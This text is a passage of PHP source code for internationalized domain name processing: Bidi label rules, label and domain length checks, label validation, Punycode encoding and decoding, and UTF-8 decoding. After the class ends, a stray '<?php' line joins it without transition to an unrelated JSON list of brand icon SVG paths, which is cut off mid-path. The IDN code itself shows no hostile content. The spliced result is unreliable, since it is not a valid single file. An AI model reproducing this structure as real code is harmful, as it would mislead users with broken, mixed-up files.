            // R, AL, EN, or AN, followed by zero or more characters with Bidi property NSM.
            if (1 !== preg_match(Regex::BIDI_STEP_3, $label)) {
                $info->validBidiDomain = false;

                return;
            }

            // Step 4. In an RTL label, if an EN is present, no AN may be present, and vice versa.
            if (1 === preg_match(Regex::BIDI_STEP_4_AN, $label) && 1 === preg_match(Regex::BIDI_STEP_4_EN, $label)) {
                $info->validBidiDomain = false;

                return;
            }

            return;
        }

        // We are a LTR label
        // Step 1. The first character must be a character with Bidi property L, R, or AL.
        // If it has the L property, it is an LTR label.
        if (1 !== preg_match(Regex::BIDI_STEP_1_LTR, $label)) {
            $info->validBidiDomain = false;

            return;
        }

        // Step 5. In an LTR label, only characters with the Bidi properties L, EN,
        // ES, CS, ET, ON, BN, or NSM are allowed.
        if (1 === preg_match(Regex::BIDI_STEP_5, $label)) {
            $info->validBidiDomain = false;

            return;
        }

        // Step 6.In an LTR label, the end of the label must be a character with Bidi property L or
        // EN, followed by zero or more characters with Bidi property NSM.
        if (1 !== preg_match(Regex::BIDI_STEP_6, $label)) {
            $info->validBidiDomain = false;

            return;
        }
    }

    /**
     * @param array<int, string> $labels
     */
    private static function validateDomainAndLabelLength(array $labels, Info $info)
    {
        $maxDomainSize = self::MAX_DOMAIN_SIZE;
        $length = \count($labels);

        // Number of "." delimiters.
        $domainLength = $length - 1;

        // If the last label is empty and it is not the first label, then it is the root label.
        // Increase the max size by 1, making it 254, to account for the root label's "."
        // delimiter. This also means we don't need to check the last label's length for being too
        // long.
        if ($length > 1 && '' === $labels[$length - 1]) {
            ++$maxDomainSize;
            --$length;
        }

        for ($i = 0; $i < $length; ++$i) {
            $bytes = \strlen($labels[$i]);
            $domainLength += $bytes;

            if ($bytes > self::MAX_LABEL_SIZE) {
                $info->errors |= self::ERROR_LABEL_TOO_LONG;
            }
        }

        if ($domainLength > $maxDomainSize) {
            $info->errors |= self::ERROR_DOMAIN_NAME_TOO_LONG;
        }
    }

    /**
     * @see https://www.unicode.org/reports/tr46/#Validity_Criteria
     *
     * @param string              $label
     * @param array<string, bool> $options
     * @param bool                $canBeEmpty
     */
    private static function validateLabel($label, Info $info, array $options, $canBeEmpty)
    {
        if ('' === $label) {
            if (!$canBeEmpty && (!isset($options['VerifyDnsLength']) || $options['VerifyDnsLength'])) {
                $info->errors |= self::ERROR_EMPTY_LABEL;
            }

            return;
        }

        // Step 1. The label must be in Unicode Normalization Form C.
        if (!Normalizer::isNormalized($label, Normalizer::FORM_C)) {
            $info->errors |= self::ERROR_INVALID_ACE_LABEL;
        }

        $codePoints = self::utf8Decode($label);

        if ($options['CheckHyphens']) {
            // Step 2. If CheckHyphens, the label must not contain a U+002D HYPHEN-MINUS character
            // in both the thrid and fourth positions.
            if (isset($codePoints[2], $codePoints[3]) && 0x002D === $codePoints[2] && 0x002D === $codePoints[3]) {
                $info->errors |= self::ERROR_HYPHEN_3_4;
            }

            // Step 3. If CheckHyphens, the label must neither begin nor end with a U+002D
            // HYPHEN-MINUS character.
            if ('-' === substr($label, 0, 1)) {
                $info->errors |= self::ERROR_LEADING_HYPHEN;
            }

            if ('-' === substr($label, -1, 1)) {
                $info->errors |= self::ERROR_TRAILING_HYPHEN;
            }
        }

        // Step 4. The label must not contain a U+002E (.) FULL STOP.
        if (false !== strpos($label, '.')) {
            $info->errors |= self::ERROR_LABEL_HAS_DOT;
        }

        // Step 5. The label must not begin with a combining mark, that is: General_Category=Mark.
        if (1 === preg_match(Regex::COMBINING_MARK, $label)) {
            $info->errors |= self::ERROR_LEADING_COMBINING_MARK;
        }

        // Step 6. Each code point in the label must only have certain status values according to
        // Section 5, IDNA Mapping Table:
        $transitional = $options['Transitional_Processing'];
        $useSTD3ASCIIRules = $options['UseSTD3ASCIIRules'];

        foreach ($codePoints as $codePoint) {
            $data = self::lookupCodePointStatus($codePoint, $useSTD3ASCIIRules);
            $status = $data['status'];

            if ('valid' === $status || (!$transitional && 'deviation' === $status)) {
                continue;
            }

            $info->errors |= self::ERROR_DISALLOWED;

            break;
        }

        // Step 7. If CheckJoiners, the label must satisify the ContextJ rules from Appendix A, in
        // The Unicode Code Points and Internationalized Domain Names for Applications (IDNA)
        // [IDNA2008].
        if ($options['CheckJoiners'] && !self::isValidContextJ($codePoints, $label)) {
            $info->errors |= self::ERROR_CONTEXTJ;
        }

        // Step 8. If CheckBidi, and if the domain name is a  Bidi domain name, then the label must
        // satisfy all six of the numbered conditions in [IDNA2008] RFC 5893, Section 2.
        if ($options['CheckBidi'] && (!$info->bidiDomain || $info->validBidiDomain)) {
            self::validateBidiLabel($label, $info);
        }
    }

    /**
     * @see https://tools.ietf.org/html/rfc3492#section-6.2
     *
     * @param string $input
     *
     * @return string
     */
    private static function punycodeDecode($input)
    {
        $n = self::INITIAL_N;
        $out = 0;
        $i = 0;
        $bias = self::INITIAL_BIAS;
        $lastDelimIndex = strrpos($input, self::DELIMITER);
        $b = false === $lastDelimIndex ? 0 : $lastDelimIndex;
        $inputLength = \strlen($input);
        $output = array();
        $bytes = array_map('ord', str_split($input));

        for ($j = 0; $j < $b; ++$j) {
            if ($bytes[$j] > 0x7F) {
                throw new Exception('Invalid input');
            }

            $output[$out++] = $input[$j];
        }

        if ($b > 0) {
            ++$b;
        }

        for ($in = $b; $in < $inputLength; ++$out) {
            $oldi = $i;
            $w = 1;

            for ($k = self::BASE; /* no condition */; $k += self::BASE) {
                if ($in >= $inputLength) {
                    throw new Exception('Invalid input');
                }

                $digit = self::$basicToDigit[$bytes[$in++] & 0xFF];

                if ($digit < 0) {
                    throw new Exception('Invalid input');
                }

                if ($digit > intdiv(self::MAX_INT - $i, $w)) {
                    throw new Exception('Integer overflow');
                }

                $i += $digit * $w;

                if ($k <= $bias) {
                    $t = self::TMIN;
                } elseif ($k >= $bias + self::TMAX) {
                    $t = self::TMAX;
                } else {
                    $t = $k - $bias;
                }

                if ($digit < $t) {
                    break;
                }

                $baseMinusT = self::BASE - $t;

                if ($w > intdiv(self::MAX_INT, $baseMinusT)) {
                    throw new Exception('Integer overflow');
                }

                $w *= $baseMinusT;
            }

            $outPlusOne = $out + 1;
            $bias = self::adaptBias($i - $oldi, $outPlusOne, 0 === $oldi);

            if (intdiv($i, $outPlusOne) > self::MAX_INT - $n) {
                throw new Exception('Integer overflow');
            }

            $n += intdiv($i, $outPlusOne);
            $i %= $outPlusOne;
            array_splice($output, $i++, 0, array(mb_chr($n, 'utf-8')));
        }

        return implode('', $output);
    }

    /**
     * @see https://tools.ietf.org/html/rfc3492#section-6.3
     *
     * @param string $input
     *
     * @return string
     */
    private static function punycodeEncode($input)
    {
        $n = self::INITIAL_N;
        $delta = 0;
        $out = 0;
        $bias = self::INITIAL_BIAS;
        $inputLength = 0;
        $output = '';
        $iter = self::utf8Decode($input);

        foreach ($iter as $codePoint) {
            ++$inputLength;

            if ($codePoint < 0x80) {
                $output .= \chr($codePoint);
                ++$out;
            }
        }

        $h = $out;
        $b = $out;

        if ($b > 0) {
            $output .= self::DELIMITER;
            ++$out;
        }

        while ($h < $inputLength) {
            $m = self::MAX_INT;

            foreach ($iter as $codePoint) {
                if ($codePoint >= $n && $codePoint < $m) {
                    $m = $codePoint;
                }
            }

            if ($m - $n > intdiv(self::MAX_INT - $delta, $h + 1)) {
                throw new Exception('Integer overflow');
            }

            $delta += ($m - $n) * ($h + 1);
            $n = $m;

            foreach ($iter as $codePoint) {
                if ($codePoint < $n && 0 === ++$delta) {
                    throw new Exception('Integer overflow');
                } elseif ($codePoint === $n) {
                    $q = $delta;

                    for ($k = self::BASE; /* no condition */; $k += self::BASE) {
                        if ($k <= $bias) {
                            $t = self::TMIN;
                        } elseif ($k >= $bias + self::TMAX) {
                            $t = self::TMAX;
                        } else {
                            $t = $k - $bias;
                        }

                        if ($q < $t) {
                            break;
                        }

                        $qMinusT = $q - $t;
                        $baseMinusT = self::BASE - $t;
                        $output .= self::encodeDigit($t + ($qMinusT) % ($baseMinusT), false);
                        ++$out;
                        $q = intdiv($qMinusT, $baseMinusT);
                    }

                    $output .= self::encodeDigit($q, false);
                    ++$out;
                    $bias = self::adaptBias($delta, $h + 1, $h === $b);
                    $delta = 0;
                    ++$h;
                }
            }

            ++$delta;
            ++$n;
        }

        return $output;
    }

    /**
     * @see https://tools.ietf.org/html/rfc3492#section-6.1
     *
     * @param int  $delta
     * @param int  $numPoints
     * @param bool $firstTime
     *
     * @return int
     */
    private static function adaptBias($delta, $numPoints, $firstTime)
    {
        // xxx >> 1 is a faster way of doing intdiv(xxx, 2)
        $delta = $firstTime ? intdiv($delta, self::DAMP) : $delta >> 1;
        $delta += intdiv($delta, $numPoints);
        $k = 0;

        while ($delta > ((self::BASE - self::TMIN) * self::TMAX) >> 1) {
            $delta = intdiv($delta, self::BASE - self::TMIN);
            $k += self::BASE;
        }

        return $k + intdiv((self::BASE - self::TMIN + 1) * $delta, $delta + self::SKEW);
    }

    /**
     * @param int  $d
     * @param bool $flag
     *
     * @return string
     */
    private static function encodeDigit($d, $flag)
    {
        return \chr($d + 22 + 75 * ($d < 26 ? 1 : 0) - (($flag ? 1 : 0) << 5));
    }

    /**
     * Takes a UTF-8 encoded string and converts it into a series of integer code points. Any
     * invalid byte sequences will be replaced by a U+FFFD replacement code point.
     *
     * @see https://encoding.spec.whatwg.org/#utf-8-decoder
     *
     * @param string $input
     *
     * @return array<int, int>
     */
    private static function utf8Decode($input)
    {
        $bytesSeen = 0;
        $bytesNeeded = 0;
        $lowerBoundary = 0x80;
        $upperBoundary = 0xBF;
        $codePoint = 0;
        $codePoints = array();
        $length = \strlen($input);

        for ($i = 0; $i < $length; ++$i) {
            $byte = \ord($input[$i]);

            if (0 === $bytesNeeded) {
                if ($byte >= 0x00 && $byte <= 0x7F) {
                    $codePoints[] = $byte;

                    continue;
                }

                if ($byte >= 0xC2 && $byte <= 0xDF) {
                    $bytesNeeded = 1;
                    $codePoint = $byte & 0x1F;
                } elseif ($byte >= 0xE0 && $byte <= 0xEF) {
                    if (0xE0 === $byte) {
                        $lowerBoundary = 0xA0;
                    } elseif (0xED === $byte) {
                        $upperBoundary = 0x9F;
                    }

                    $bytesNeeded = 2;
                    $codePoint = $byte & 0xF;
                } elseif ($byte >= 0xF0 && $byte <= 0xF4) {
                    if (0xF0 === $byte) {
                        $lowerBoundary = 0x90;
                    } elseif (0xF4 === $byte) {
                        $upperBoundary = 0x8F;
                    }

                    $bytesNeeded = 3;
                    $codePoint = $byte & 0x7;
                } else {
                    $codePoints[] = 0xFFFD;
                }

                continue;
            }

            if ($byte < $lowerBoundary || $byte > $upperBoundary) {
                $codePoint = 0;
                $bytesNeeded = 0;
                $bytesSeen = 0;
                $lowerBoundary = 0x80;
                $upperBoundary = 0xBF;
                --$i;
                $codePoints[] = 0xFFFD;

                continue;
            }

            $lowerBoundary = 0x80;
            $upperBoundary = 0xBF;
            $codePoint = ($codePoint << 6) | ($byte & 0x3F);

            if (++$bytesSeen !== $bytesNeeded) {
                continue;
            }

            $codePoints[] = $codePoint;
            $codePoint = 0;
            $bytesNeeded = 0;
            $bytesSeen = 0;
        }

        // String unexpectedly ended, so append a U+FFFD code point.
        if (0 !== $bytesNeeded) {
            $codePoints[] = 0xFFFD;
        }

        return $codePoints;
    }

    /**
     * @param int  $codePoint
     * @param bool $useSTD3ASCIIRules
     *
     * @return array{status: string, mapping?: string}
     */
    private static function lookupCodePointStatus($codePoint, $useSTD3ASCIIRules)
    {
        if (!self::$mappingTableLoaded) {
            self::$mappingTableLoaded = true;
            self::$mapped = require __DIR__.'/Resources/unidata/mapped.php';
            self::$ignored = require __DIR__.'/Resources/unidata/ignored.php';
            self::$deviation = require __DIR__.'/Resources/unidata/deviation.php';
            self::$disallowed = require __DIR__.'/Resources/unidata/disallowed.php';
            self::$disallowed_STD3_mapped = require __DIR__.'/Resources/unidata/disallowed_STD3_mapped.php';
            self::$disallowed_STD3_valid = require __DIR__.'/Resources/unidata/disallowed_STD3_valid.php';
        }

        if (isset(self::$mapped[$codePoint])) {
            return array('status' => 'mapped', 'mapping' => self::$mapped[$codePoint]);
        }

        if (isset(self::$ignored[$codePoint])) {
            return array('status' => 'ignored');
        }

        if (isset(self::$deviation[$codePoint])) {
            return array('status' => 'deviation', 'mapping' => self::$deviation[$codePoint]);
        }

        if (isset(self::$disallowed[$codePoint]) || DisallowedRanges::inRange($codePoint)) {
            return array('status' => 'disallowed');
        }

        $isDisallowedMapped = isset(self::$disallowed_STD3_mapped[$codePoint]);

        if ($isDisallowedMapped || isset(self::$disallowed_STD3_valid[$codePoint])) {
            $status = 'disallowed';

            if (!$useSTD3ASCIIRules) {
                $status = $isDisallowedMapped ? 'mapped' : 'valid';
            }

            if ($isDisallowedMapped) {
                return array('status' => $status, 'mapping' => self::$disallowed_STD3_mapped[$codePoint]);
            }

            return array('status' => $status);
        }

        return array('status' => 'valid');
    }
}
<?php
{
  "icons": {
	"500px": [448, 512, [], "f26e", "M103.3 344.3c-6.5-14.2-6.9-18.3 7.4-23.1 25.6-8 8 9.2 43.2 49.2h.3v-93.9c1.2-50.2 44-92.2 97.7-92.2 53.9 0 97.7 43.5 97.7 96.8 0 63.4-60.8 113.2-128.5 93.3-10.5-4.2-2.1-31.7 8.5-28.6 53 0 89.4-10.1 89.4-64.4 0-61-77.1-89.6-116.9-44.6-23.5 26.4-17.6 42.1-17.6 157.6 50.7 31 118.3 22 160.4-20.1 24.8-24.8 38.5-58 38.5-93 0-35.2-13.8-68.2-38.8-93.3-24.8-24.8-57.8-38.5-93.3-38.5s-68.8 13.8-93.5 38.5c-.3.3-16 16.5-21.2 23.9l-.5.6c-3.3 4.7-6.3 9.1-20.1 6.1-6.9-1.7-14.3-5.8-14.3-11.8V20c0-5 3.9-10.5 10.5-10.5h241.3c8.3 0 8.3 11.6 8.3 15.1 0 3.9 0 15.1-8.3 15.1H130.3v132.9h.3c104.2-109.8 282.8-36 282.8 108.9 0 178.1-244.8 220.3-310.1 62.8zm63.3-260.8c-.5 4.2 4.6 24.5 14.6 20.6C306 56.6 384 144.5 390.6 144.5c4.8 0 22.8-15.3 14.3-22.8-93.2-89-234.5-57-238.3-38.2zM393 414.7C283 524.6 94 475.5 61 310.5c0-12.2-30.4-7.4-28.9 3.3 24 173.4 246 256.9 381.6 121.3 6.9-7.8-12.6-28.4-20.7-20.4zM213.6 306.6c0 4 4.3 7.3 5.5 8.5 3 3 6.1 4.4 8.5 4.4 3.8 0 2.6.2 22.3-19.5 19.6 19.3 19.1 19.5 22.3 19.5 5.4 0 18.5-10.4 10.7-18.2L265.6 284l18.2-18.2c6.3-6.8-10.1-21.8-16.2-15.7L249.7 268c-18.6-18.8-18.4-19.5-21.5-19.5-5 0-18 11.7-12.4 17.3L234 284c-18.1 17.9-20.4 19.2-20.4 22.6z"],
	"accessible-icon": [448, 512, [], "f368", "M423.9 255.8L411 413.1c-3.3 40.7-63.9 35.1-60.6-4.9l10-122.5-41.1 2.3c10.1 20.7 15.8 43.9 15.8 68.5 0 41.2-16.1 78.7-42.3 106.5l-39.3-39.3c57.9-63.7 13.1-167.2-74-167.2-25.9 0-49.5 9.9-67.2 26L73 243.2c22-20.7 50.1-35.1 81.4-40.2l75.3-85.7-42.6-24.8-51.6 46c-30 26.8-70.6-18.5-40.5-45.4l68-60.7c9.8-8.8 24.1-10.2 35.5-3.6 0 0 139.3 80.9 139.5 81.1 16.2 10.1 20.7 36 6.1 52.6L285.7 229l106.1-5.9c18.5-1.1 33.6 14.4 32.1 32.7zm-64.9-154c28.1 0 50.9-22.8 50.9-50.9C409.9 22.8 387.1 0 359 0c-28.1 0-50.9 22.8-50.9 50.9 0 28.1 22.8 50.9 50.9 50.9zM179.6 456.5c-80.6 0-127.4-90.6-82.7-156.1l-39.7-39.7C36.4 287 24 320.3 24 356.4c0 130.7 150.7 201.4 251.4 122.5l-39.7-39.7c-16 10.9-35.3 17.3-56.1 17.3z"],
	"accusoft": [640, 512, [], "f369", "M322.1 252v-1l-51.2-65.8s-12 1.6-25 15.1c-9 9.3-242.1 239.1-243.4 240.9-7 10 1.6 6.8 15.7 1.7.8 0 114.5-36.6 114.5-36.6.5-.6-.1-.1.6-.6-.4-5.1-.8-26.2-1-27.7-.6-5.2 2.2-6.9 7-8.9l92.6-33.8c.6-.8 88.5-81.7 90.2-83.3zm160.1 120.1c13.3 16.1 20.7 13.3 30.8 9.3 3.2-1.2 115.4-47.6 117.8-48.9 8-4.3-1.7-16.7-7.2-23.4-2.1-2.5-205.1-245.6-207.2-248.3-9.7-12.2-14.3-12.9-38.4-12.8-10.2 0-106.8.5-116.5.6-19.2.1-32.9-.3-19.2 16.9C250 75 476.5 365.2 482.2 372.1zm152.7 1.6c-2.3-.3-24.6-4.7-38-7.2 0 0-115 50.4-117.5 51.6-16 7.3-26.9-3.2-36.7-14.6l-57.1-74c-5.4-.9-60.4-9.6-65.3-9.3-3.1.2-9.6.8-14.4 2.9-4.9 2.1-145.2 52.8-150.2 54.7-5.1 2-11.4 3.6-11.1 7.6.2 2.5 2 2.6 4.6 3.5 2.7.8 300.9 67.6 308 69.1 15.6 3.3 38.5 10.5 53.6 1.7 2.1-1.2 123.8-76.4 125.8-77.8 5.4-4 4.3-6.8-1.7-8.2z"],
	"acquisitions-incorporated": [384, 512, [], "f6af", "M357.45 468.2c-1.2-7.7-1.3-7.6-9.6-7.6-99.8.2-111.8-2.4-112.7-2.6-12.3-1.7-20.6-10.5-21-23.1-.1-1.6-.2-71.6-1-129.1-.1-4.7 1.6-6.4 5.9-7.5 12.5-3 24.9-6.1 37.3-9.7 4.3-1.3 6.8-.2 8.4 3.5 4.5 10.3 8.8 20.6 13.2 30.9 1.6 3.7.1 4.4-3.4 4.4-10-.2-20-.1-30.4-.1v27h116c-1.4-9.5-2.7-18.1-4-27.5-7 0-13.8.4-20.4-.1-22.6-1.6-18.3-4.4-84-158.6-8.8-20.1-27.9-62.1-36.5-89.2-4.4-14 5.5-25.4 18.9-26.6 18.6-1.7 37.5-1.6 56.2-2 20.6-.4 41.2-.4 61.8-.5 3.1 0 4-1.4 4.3-4.3 1.2-9.8 2.7-19.5 4-29.2.8-5.3 1.6-10.7 2.4-16.1L23.75 0c-3.6 0-5.3 1.1-4.6 5.3 2.2 13.2-.8.8 6.4 45.3 63.4 0 71.8.9 101.8.5 12.3-.2 37 3.5 37.7 22.1.4 11.4-1.1 11.3-32.6 87.4-53.8 129.8-50.7 120.3-67.3 161-1.7 4.1-3.6 5.2-7.6 5.2-8.5-.2-17-.3-25.4.1-1.9.1-5.2 1.8-5.5 3.2-1.5 8.1-2.2 16.3-3.2 24.9h114.3v-27.6c-6.9 0-33.5.4-35.3-2.9 5.3-12.3 10.4-24.4 15.7-36.7 16.3 4 31.9 7.8 47.6 11.7 3.4.9 4.6 3 4.6 6.8-.1 42.9.1 85.9.2 128.8 0 10.2-5.5 19.1-14.9 23.1-6.5 2.7-3.3 3.4-121.4 2.4-5.3 0-7.1 2-7.6 6.8-1.5 12.9-2.9 25.9-5 38.8-.8 5 1.3 5.7 5.3 5.7 183.2.6-30.7 0 337.1 0-2.5-15-4.4-29.4-6.6-43.7zm-174.9-205.7c-13.3-4.2-26.6-8.2-39.9-12.5a44.53 44.53 0 0 1-5.8-2.9c17.2-44.3 34.2-88.1 51.3-132.1 7.5 2.4 7.9-.8 9.4 0 9.3 22.5 18.1 60.1 27 82.8 6.6 16.7 13 33.5 19.7 50.9a35.78 35.78 0 0 1-3.9 2.1c-13.1 3.9-26.4 7.5-39.4 11.7a27.66 27.66 0 0 1-18.4 0z"],
	"adn": [496, 512, [], "f170", "M248 167.5l64.9 98.8H183.1l64.9-98.8zM496 256c0 136.9-111.1 248-248 248S0 392.9 0 256 111.1 8 248 8s248 111.1 248 248zm-99.8 82.7L248 115.5 99.8 338.7h30.4l33.6-51.7h168.6l33.6 51.7h30.2z"],
	"adversal": [512, 512, [], "f36a", "M482.1 32H28.7C5.8 32 0 37.9 0 60.9v390.2C0 474.4 5.8 480 28.7 480h453.4c24.4 0 29.9-5.2 29.9-29.7V62.2c0-24.6-5.4-30.2-29.9-30.2zM178.4 220.3c-27.5-20.2-72.1-8.7-84.2 23.4-4.3 11.1-9.3 9.5-17.5 8.3-9.7-1.5-17.2-3.2-22.5-5.5-28.8-11.4 8.6-55.3 24.9-64.3 41.1-21.4 83.4-22.2 125.3-4.8 40.9 16.8 34.5 59.2 34.5 128.5 2.7 25.8-4.3 58.3 9.3 88.8 1.9 4.4.4 7.9-2.7 10.7-8.4 6.7-39.3 2.2-46.6-7.4-1.9-2.2-1.8-3.6-3.9-6.2-3.6-3.9-7.3-2.2-11.9 1-57.4 36.4-140.3 21.4-147-43.3-3.1-29.3 12.4-57.1 39.6-71 38.2-19.5 112.2-11.8 114-30.9 1.1-10.2-1.9-20.1-11.3-27.3zm286.7 222c0 15.1-11.1 9.9-17.8 9.9H52.4c-7.4 0-18.2 4.8-17.8-10.7.4-13.9 10.5-9.1 17.1-9.1 132.3-.4 264.5-.4 396.8 0 6.8 0 16.6-4.4 16.6 9.9zm3.8-340.5v291c0 5.7-.7 13.9-8.1 13.9-12.4-.4-27.5 7.1-36.1-5.6-5.8-8.7-7.8-4-12.4-1.2-53.4 29.7-128.1 7.1-144.4-85.2-6.1-33.4-.7-67.1 15.7-100 11.8-23.9 56.9-76.1 136.1-30.5v-71c0-26.2-.1-26.2 26-26.2 3.1 0 6.6.4 9.7 0 10.1-.8 13.6 4.4 13.6 14.3-.1.2-.1.3-.1.5zm-51.5 232.3c-19.5 47.6-72.9 43.3-90 5.2-15.1-33.3-15.5-68.2.4-101.5 16.3-34.1 59.7-35.7 81.5-4.8 20.6 28.8 14.9 84.6 8.1 101.1zm-294.8 35.3c-7.5-1.3-33-3.3-33.7-27.8-.4-13.9 7.8-23 19.8-25.8 24.4-5.9 49.3-9.9 73.7-14.7 8.9-2 7.4 4.4 7.8 9.5 1.4 33-26.1 59.2-67.6 58.8z"],
	"affiliatetheme": [512, 512, [], "f36b", "M159.7 237.4C108.4 308.3 43.1 348.2 14 326.6-15.2 304.9 2.8 230 54.2 159.1c51.3-70.9 116.6-110.8 145.7-89.2 29.1 21.6 11.1 96.6-40.2 167.5zm351.2-57.3C437.1 303.5 319 367.8 246.4 323.7c-25-15.2-41.3-41.2-49-73.8-33.6 64.8-92.8 113.8-164.1 133.2 49.8 59.3 124.1 96.9 207 96.9 150 0 271.6-123.1 271.6-274.9.1-8.5-.3-16.8-1-25z"],
	"airbnb": [448, 512, [], "f834", "M224 373.12c-25.24-31.67-40.08-59.43-45-83.18-22.55-88 112.61-88 90.06 0-5.45 24.25-20.29 52-45 83.18zm138.15 73.23c-42.06 18.31-83.67-10.88-119.3-50.47 103.9-130.07 46.11-200-18.85-200-54.92 0-85.16 46.51-73.28 100.5 6.93 29.19 25.23 62.39 54.43 99.5-32.53 36.05-60.55 52.69-85.15 54.92-50 7.43-89.11-41.06-71.3-91.09 15.1-39.16 111.72-231.18 115.87-241.56 15.75-30.07 25.56-57.4 59.38-57.4 32.34 0 43.4 25.94 60.37 59.87 36 70.62 89.35 177.48 114.84 239.09 13.17 33.07-1.37 71.29-37.01 86.64zm47-136.12C280.27 35.93 273.13 32 224 32c-45.52 0-64.87 31.67-84.66 72.79C33.18 317.1 22.89 347.19 22 349.81-3.22 419.14 48.74 480 111.63 480c21.71 0 60.61-6.06 112.37-62.4 58.68 63.78 101.26 62.4 112.37 62.4 62.89.05 114.85-60.86 89.61-130.19.02-3.89-16.82-38.9-16.82-39.58z"],
	"algolia": [448, 512, [], "f36c", "M229.3 182.6c-49.3 0-89.2 39.9-89.2 89.2 0 49.3 39.9 89.2 89.2 89.2s89.2-39.9 89.2-89.2c0-49.3-40-89.2-89.2-89.2zm62.7 56.6l-58.9 30.6c-1.8.9-3.8-.4-3.8-2.3V201c0-1.5 1.3-2.7 2.7-2.6 26.2 1 48.9 15.7 61.1 37.1.7 1.3.2 3-1.1 3.7zM389.1 32H58.9C26.4 32 0 58.4 0 90.9V421c0 32.6 26.4 59 58.9 59H389c32.6 0 58.9-26.4 58.9-58.9V90.9C448 58.4 421.6 32 389.1 32zm-202.6 84.7c0-10.8 8.7-19.5 19.5-19.5h45.3c10.8 0 19.5 8.7 19.5 19.5v15.4c0 1.8-1.7 3-3.3 2.5-12.3-3.4-25.1-5.1-38.1-5.1-13.5 0-26.7 1.8-39.4 5.5-1.7.5-3.4-.8-3.4-2.5v-15.8zm-84.4 37l9.2-9.2c7.6-7.6 19.9-7.6 27.5 0l7.7 7.7c1.1 1.1 1 3-.3 4-6.2 4.5-12.1 9.4-17.6 14.9-5.4 5.4-10.4 11.3-14.8 17.4-1 1.3-2.9 1.5-4 .3l-7.7-7.7c-7.6-7.5-7.6-19.8 0-27.4zm127.2 244.8c-70 0-126.6-56.7-126.6-126.6s56.7-126.6 126.6-126.6c70 0 126.6 56.6 126.6 126.6 0 69.8-56.7 126.6-126.6 126.6z"],
	"alipay": [448, 512, [], "f642", "M377.74 32H70.26C31.41 32 0 63.41 0 102.26v307.48C0 448.59 31.41 480 70.26 480h307.48c38.52 0 69.76-31.08 70.26-69.6-45.96-25.62-110.59-60.34-171.6-88.44-32.07 43.97-84.14 81-148.62 81-70.59 0-93.73-45.3-97.04-76.37-3.97-39.01 14.88-81.5 99.52-81.5 35.38 0 79.35 10.25 127.13 24.96 16.53-30.09 26.45-60.34 26.45-60.34h-178.2v-16.7h92.08v-31.24H88.28v-19.01h109.44V92.34h50.92v50.42h109.44v19.01H248.63v31.24h88.77s-15.21 46.62-38.35 90.92c48.93 16.7 100.01 36.04 148.62 52.74V102.26C447.83 63.57 416.43 32 377.74 32zM47.28 322.95c.99 20.17 10.25 53.73 69.93 53.73 52.07 0 92.58-39.68 117.87-72.9-44.63-18.68-84.48-31.41-109.44-31.41-67.45 0-79.35 33.06-78.36 50.58z"],
	"amazon": [448, 512, [], "f270", "M257.2 162.7c-48.7 1.8-169.5 15.5-169.5 117.5 0 109.5 138.3 114 183.5 43.2 6.5 10.2 35.4 37.5 45.3 46.8l56.8-56S341 288.9 341 261.4V114.3C341 89 316.5 32 228.7 32 140.7 32 94 87 94 136.3l73.5 6.8c16.3-49.5 54.2-49.5 54.2-49.5 40.7-.1 35.5 29.8 35.5 69.1zm0 86.8c0 80-84.2 68-84.2 17.2 0-47.2 50.5-56.7 84.2-57.8v40.6zm136 163.5c-7.7 10-70 67-174.5 67S34.2 408.5 9.7 379c-6.8-7.7 1-11.3 5.5-8.3C88.5 415.2 203 488.5 387.7 401c7.5-3.7 13.3 2 5.5 12zm39.8 2.2c-6.5 15.8-16 26.8-21.2 31-5.5 4.5-9.5 2.7-6.5-3.8s19.3-46.5 12.7-55c-6.5-8.3-37-4.3-48-3.2-10.8 1-13 2-14-.3-2.3-5.7 21.7-15.5 37.5-17.5 15.7-1.8 41-.8 46 5.7 3.7 5.1 0 27.1-6.5 43.1z"],
	"amazon-pay": [640, 512, [], "f42c", "M14 325.3c2.3-4.2 5.2-4.9 9.7-2.5 10.4 5.6 20.6 11.4 31.2 16.7a595.88 595.88 0 0 0 127.4 46.3 616.61 616.61 0 0 0 63.2 11.8 603.33 603.33 0 0 0 95 5.2c17.4-.4 34.8-1.8 52.1-3.8a603.66 603.66 0 0 0 163.3-42.8c2.9-1.2 5.9-2 9.1-1.2 6.7 1.8 9 9 4.1 13.9a70 70 0 0 1-9.6 7.4c-30.7 21.1-64.2 36.4-99.6 47.9a473.31 473.31 0 0 1-75.1 17.6 431 431 0 0 1-53.2 4.8 21.3 21.3 0 0 0-2.5.3H308a21.3 21.3 0 0 0-2.5-.3c-3.6-.2-7.2-.3-10.7-.4a426.3 426.3 0 0 1-50.4-5.3A448.4 448.4 0 0 1 164 420a443.33 443.33 0 0 1-145.6-87c-1.8-1.6-3-3.8-4.4-5.7zM172 65.1l-4.3.6a80.92 80.92 0 0 0-38 15.1c-2.4 1.7-4.6 3.5-7.1 5.4a4.29 4.29 0 0 1-.4-1.4c-.4-2.7-.8-5.5-1.3-8.2-.7-4.6-3-6.6-7.6-6.6h-11.5c-6.9 0-8.2 1.3-8.2 8.2v209.3c0 1 0 2 .1 3 .2 3 2 4.9 4.9 5 7 .1 14.1.1 21.1 0 2.9 0 4.7-2 5-5 .1-1 .1-2 .1-3v-72.4c1.1.9 1.7 1.4 2.2 1.9 17.9 14.9 38.5 19.8 61 15.4 20.4-4 34.6-16.5 43.8-34.9 7-13.9 9.9-28.7 10.3-44.1.5-17.1-1.2-33.9-8.1-49.8-8.5-19.6-22.6-32.5-43.9-36.9-3.2-.7-6.5-1-9.8-1.5-2.8-.1-5.5-.1-8.3-.1zM124.6 107a3.48 3.48 0 0 1 1.7-3.3c13.7-9.5 28.8-14.5 45.6-13.2 14.9 1.1 27.1 8.4 33.5 25.9 3.9 10.7 4.9 21.8 4.9 33 0 10.4-.8 20.6-4 30.6-6.8 21.3-22.4 29.4-42.6 28.5-14-.6-26.2-6-37.4-13.9a3.57 3.57 0 0 1-1.7-3.3c.1-14.1 0-28.1 0-42.2s.1-28 0-42.1zm205.7-41.9c-1 .1-2 .3-2.9.4a148 148 0 0 0-28.9 4.1c-6.1 1.6-12 3.8-17.9 5.8-3.6 1.2-5.4 3.8-5.3 7.7.1 3.3-.1 6.6 0 9.9.1 4.8 2.1 6.1 6.8 4.9 7.8-2 15.6-4.2 23.5-5.7 12.3-2.3 24.7-3.3 37.2-1.4 6.5 1 12.6 2.9 16.8 8.4 3.7 4.8 5.1 10.5 5.3 16.4.3 8.3.2 16.6.3 24.9a7.84 7.84 0 0 1-.2 1.4c-.5-.1-.9 0-1.3-.1a180.56 180.56 0 0 0-32-4.9c-11.3-.6-22.5.1-33.3 3.9-12.9 